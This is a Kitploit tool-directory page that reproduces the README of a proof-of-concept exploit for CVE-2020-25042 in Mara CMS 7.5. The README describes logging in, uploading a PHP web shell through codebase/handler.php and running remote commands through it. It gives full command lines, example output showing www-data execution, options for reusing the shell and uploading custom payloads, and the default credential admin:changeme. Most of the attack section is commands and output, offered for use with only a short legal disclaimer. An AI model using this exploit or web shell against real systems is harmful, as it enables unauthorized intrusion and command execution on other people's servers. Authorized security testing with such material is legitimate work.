Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-25042-PoC — PoC for CVE-2020-25042: automated Mara CMS 7.5 authenticated PHP upload to RCE, with login hash handling, shell reuse, custom payload support, and clean CLI output. | Kitploit
Tools/GitHubGitHub/groppoxx/cve-2020-25042-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubgroppoxx/cve-2020-25042-poc

CVE-2020-25042-PoC

PoC for CVE-2020-25042: automated Mara CMS 7.5 authenticated PHP upload to RCE, with login hash handling, shell reuse, custom payload support, and clean CLI output.

View Repository
53 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-25042-PoC

Proof-of-concept for CVE-2020-25042, an authenticated arbitrary file upload issue in Mara CMS 7.5 that can lead to remote code execution.

The script logs in with a valid Mara CMS admin/manager account, uploads a PHP payload through codebase/handler.php, and executes commands through the uploaded file.

It also reuses an existing shell when possible, so you do not create a new PHP file on every run.

What It Does

  1. Checks whether the expected shell already exists and is reusable.
  2. If reusable, executes the command directly.
  3. If not reusable, loads a CMS page and extracts shash.
  4. Requests the login salt with the setsalt action.
  5. Computes the Mara CMS login hashes.
  6. Authenticates as a valid user.
  7. Opens the upload flow at codebase/dir.php?type=filenew.
  8. Uploads a PHP command payload through codebase/handler.php.
  9. Executes --cmd through the uploaded shell.

Requirements

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

Required Python packages:

root@kitploit:~
requests
urllib3

Quick Start

Values wrapped in angle brackets are placeholders. Replace them with your own values and do not include the < or > characters.

root@kitploit:~
python3 cve_2020_25042.py \
  --url <MARA_CMS_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --cmd whoami

Placeholders

root@kitploit:~
<MARA_CMS_URL>  # Target Mara CMS base URL. Example: http://target/cms
<USERNAME>      # Valid Mara CMS admin/manager username.
<PASSWORD>      # Valid Mara CMS admin/manager password.

Full Example

root@kitploit:~
python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --username admin \
  --password changeme \
  --cmd whoami

Example output:

root@kitploit:~
[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami

[+] Command output
MARA_CVE_2020_25042_OK
www-data

Reusing an Existing Shell

By default, the script uses a stable shell name:

root@kitploit:~
mara-poc.php

On the next run, it checks:

root@kitploit:~
http://target/cms/img/mara-poc.php

If the shell responds with the expected marker, the script skips login and upload:

root@kitploit:~
python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --cmd "ls -la"

To reuse a shell created with a previous random name:

root@kitploit:~
python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --shell-name mara-poc-jxfizldy.php \
  --cmd whoami

You can also pass the exposed shell path directly:

root@kitploit:~
python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --shell-url-path /cms/img/mara-poc-jxfizldy.php \
  --cmd "ls -la"

Upload Only

Upload the payload without executing a command:

root@kitploit:~
python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --username admin \
  --password changeme \
  --upload-only

Optional Flags

root@kitploit:~
--page <PAGE>
   Existing CMS page used to bootstrap login and extract shash. Default: lorem.php

--shell-name <NAME>
   PHP filename to upload or reuse. Default: mara-poc.php

--shell-url-path <PATH_OR_URL>
   Explicit shell path or URL to reuse.
   Example: /cms/img/mara-poc.php

--payload-file <FILE>
   Upload a custom PHP payload instead of the default ?cmd= shell.

--destdir <DIR>
   Raw destdir value sent in the upload form. Default leaves Mara CMS using img/.

--force-upload
   Always login and upload, even if a reusable shell already exists.

--upload-only
   Upload the payload but do not execute --cmd.

--only-final
   Hide progress logs and print only command output.

--no-color
   Disable ANSI colors.

--debug
   Print request URLs and short handler response snippets.

Notes

  • The exploit requires a valid authenticated Mara CMS admin or manager session.
  • Default Mara CMS credentials may be admin:changeme on unmodified test installs.
  • The default payload prints MARA_CVE_2020_25042_OK before command output.
  • The default upload location observed in Mara CMS 7.5 is img/.
  • Use shell reuse whenever possible to avoid leaving many PHP files on the target.
  • Use --force-upload only when you need to overwrite or recreate the payload.

Legal

This PoC is intended for authorized security testing, lab environments, and vulnerability verification. Do not use it against systems without explicit permission.

Download Tool